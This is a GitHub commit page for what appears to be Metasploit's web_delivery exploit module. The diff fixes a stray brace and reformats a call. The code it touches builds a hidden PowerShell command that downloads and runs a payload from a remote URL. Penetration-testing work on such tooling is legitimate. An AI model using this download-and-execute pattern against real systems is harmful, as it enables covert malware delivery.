We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent f7e2fb3 commit 02a2839Copy full SHA for 02a2839
modules/exploits/multi/script/web_delivery.rb
@@ -163,16 +163,13 @@ def gen_psh(url, *method)
163
file = %Q(echo (#{path}+'\\#{filename}'))
164
165
# Generate download PowerShell command
166
- download_string = Rex::Powershell::PshMethods.download_run(url, file})
+ download_string = Rex::Powershell::PshMethods.download_run(url, file)
167
end
168
169
download_and_run = "#{ignore_cert}#{download_string}"
170
171
# Generate main PowerShell command
172
- return generate_psh_command_line(noprofile: true,
173
- windowstyle: 'hidden',
174
- command: download_and_run
175
- )
+ return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
176
177
178
0 commit comments